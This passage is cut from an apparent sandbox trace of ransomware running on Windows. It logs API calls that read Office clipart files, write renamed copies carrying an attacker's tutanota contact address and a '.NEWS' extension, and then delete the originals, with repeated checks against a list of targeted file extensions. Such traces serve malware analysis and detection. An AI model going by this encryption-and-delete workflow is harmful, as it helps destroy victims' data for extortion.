returned 1 [0260.306] CloseHandle (hObject=0x1f0) returned 1 [0260.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0260.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.308] lstrlenW (lpString=".doc") returned 4 [0260.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.308] lstrlenW (lpString=".docx") returned 5 [0260.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.308] lstrlenW (lpString=".pdf") returned 4 [0260.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.308] lstrlenW (lpString=".xls") returned 4 [0260.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.309] lstrlenW (lpString=".xlsx") returned 5 [0260.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.309] lstrlenW (lpString=".ppt") returned 4 [0260.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.309] lstrlenW (lpString=".zip") returned 4 [0260.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.309] lstrlenW (lpString=".rar") returned 4 [0260.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.309] lstrlenW (lpString=".bz2") returned 4 [0260.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.309] lstrlenW (lpString=".7z") returned 3 [0260.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.311] lstrlenW (lpString=".dbf") returned 4 [0260.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.311] lstrlenW (lpString=".1cd") returned 4 [0260.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.311] lstrlenW (lpString=".jpg") returned 4 [0260.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.312] lstrlenW (lpString=".doc") returned 4 [0260.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.312] lstrlenW (lpString=".docx") returned 5 [0260.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.312] lstrlenW (lpString=".pdf") returned 4 [0260.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.312] lstrlenW (lpString=".xls") returned 4 [0260.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.312] lstrlenW (lpString=".xlsx") returned 5 [0260.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.312] lstrlenW (lpString=".ppt") returned 4 [0260.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.313] lstrlenW (lpString=".zip") returned 4 [0260.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.313] lstrlenW (lpString=".rar") returned 4 [0260.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.313] lstrlenW (lpString=".bz2") returned 4 [0260.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.313] lstrlenW (lpString=".7z") returned 3 [0260.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.313] lstrlenW (lpString=".dbf") returned 4 [0260.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.313] lstrlenW (lpString=".1cd") returned 4 [0260.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0260.314] lstrlenW (lpString=".jpg") returned 4 [0260.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.314] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0260.314] lstrlenW (lpString="BL00194_.WMF") returned 12 [0260.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0260.315] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3986) returned 1 [0260.316] CloseHandle (hObject=0x1f0) returned 1 [0260.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0260.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0260.317] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.317] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0260.318] GetLastError () returned 0x0 [0260.318] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xf92, lpOverlapped=0x0) returned 1 [0260.343] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0260.347] ReadFile (in: hFile=0x1f0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.347] WriteFile (in: hFile=0x30c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.347] SetEndOfFile (hFile=0x30c) returned 1 [0260.348] CloseHandle (hObject=0x30c) returned 1 [0260.348] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.348] SetEndOfFile (hFile=0x1f0) returned 1 [0260.357] CloseHandle (hObject=0x1f0) returned 1 [0260.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.401] lstrlenW (lpString=".doc") returned 4 [0260.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString=".docx") returned 5 [0260.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.401] lstrlenW (lpString=".pdf") returned 4 [0260.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.401] lstrlenW (lpString=".xls") returned 4 [0260.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.401] lstrlenW (lpString=".xlsx") returned 5 [0260.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.402] lstrlenW (lpString=".ppt") returned 4 [0260.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.402] lstrlenW (lpString=".zip") returned 4 [0260.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.402] lstrlenW (lpString=".rar") returned 4 [0260.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString=".bz2") returned 4 [0260.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.402] lstrlenW (lpString=".7z") returned 3 [0260.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.403] lstrlenW (lpString=".dbf") returned 4 [0260.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.403] lstrlenW (lpString=".1cd") returned 4 [0260.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.403] lstrlenW (lpString=".jpg") returned 4 [0260.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.404] lstrlenW (lpString=".doc") returned 4 [0260.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.405] lstrlenW (lpString=".docx") returned 5 [0260.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.405] lstrlenW (lpString=".pdf") returned 4 [0260.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.405] lstrlenW (lpString=".xls") returned 4 [0260.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.405] lstrlenW (lpString=".xlsx") returned 5 [0260.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.405] lstrlenW (lpString=".ppt") returned 4 [0260.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.405] lstrlenW (lpString=".zip") returned 4 [0260.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.406] lstrlenW (lpString=".rar") returned 4 [0260.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.406] lstrlenW (lpString=".bz2") returned 4 [0260.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.406] lstrlenW (lpString=".7z") returned 3 [0260.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.406] lstrlenW (lpString=".dbf") returned 4 [0260.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.406] lstrlenW (lpString=".1cd") returned 4 [0260.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0260.407] lstrlenW (lpString=".jpg") returned 4 [0260.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.407] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0260.407] lstrlenW (lpString="BL00195_.WMF") returned 12 [0260.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0260.579] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=8070) returned 1 [0260.579] CloseHandle (hObject=0x39c) returned 1 [0260.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0260.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.332] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.332] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0262.333] GetLastError () returned 0x0 [0262.333] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0262.340] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0262.344] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.344] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.344] SetEndOfFile (hFile=0x3b0) returned 1 [0262.345] CloseHandle (hObject=0x3b0) returned 1 [0262.345] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.345] SetEndOfFile (hFile=0x3a0) returned 1 [0262.352] CloseHandle (hObject=0x3a0) returned 1 [0262.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0262.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.358] lstrlenW (lpString=".doc") returned 4 [0262.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString=".docx") returned 5 [0262.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.358] lstrlenW (lpString=".pdf") returned 4 [0262.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.358] lstrlenW (lpString=".xls") returned 4 [0262.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.358] lstrlenW (lpString=".xlsx") returned 5 [0262.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.358] lstrlenW (lpString=".ppt") returned 4 [0262.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.359] lstrlenW (lpString=".zip") returned 4 [0262.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.359] lstrlenW (lpString=".rar") returned 4 [0262.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.359] lstrlenW (lpString=".bz2") returned 4 [0262.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.359] lstrlenW (lpString=".7z") returned 3 [0262.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.359] lstrlenW (lpString=".dbf") returned 4 [0262.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.360] lstrlenW (lpString=".1cd") returned 4 [0262.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.360] lstrlenW (lpString=".jpg") returned 4 [0262.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.360] lstrlenW (lpString=".doc") returned 4 [0262.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.360] lstrlenW (lpString=".docx") returned 5 [0262.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.361] lstrlenW (lpString=".pdf") returned 4 [0262.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.361] lstrlenW (lpString=".xls") returned 4 [0262.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.361] lstrlenW (lpString=".xlsx") returned 5 [0262.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.361] lstrlenW (lpString=".ppt") returned 4 [0262.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.361] lstrlenW (lpString=".zip") returned 4 [0262.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.362] lstrlenW (lpString=".rar") returned 4 [0262.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.362] lstrlenW (lpString=".bz2") returned 4 [0262.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.362] lstrlenW (lpString=".7z") returned 3 [0262.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.362] lstrlenW (lpString=".dbf") returned 4 [0262.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.362] lstrlenW (lpString=".1cd") returned 4 [0262.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0262.363] lstrlenW (lpString=".jpg") returned 4 [0262.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.363] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0262.363] lstrlenW (lpString="BL00242_.WMF") returned 12 [0262.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.364] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4024) returned 1 [0262.364] CloseHandle (hObject=0x3a0) returned 1 [0262.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0262.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.365] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.366] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0262.366] GetLastError () returned 0x0 [0262.367] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xfb8, lpOverlapped=0x0) returned 1 [0262.917] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0262.920] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.920] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.921] SetEndOfFile (hFile=0x3b0) returned 1 [0264.319] CloseHandle (hObject=0x3b0) returned 1 [0264.320] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.320] SetEndOfFile (hFile=0x3a0) returned 1 [0264.329] CloseHandle (hObject=0x3a0) returned 1 [0264.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0264.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0264.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0264.332] lstrlenW (lpString="C:\\Program Files\\Microsoft 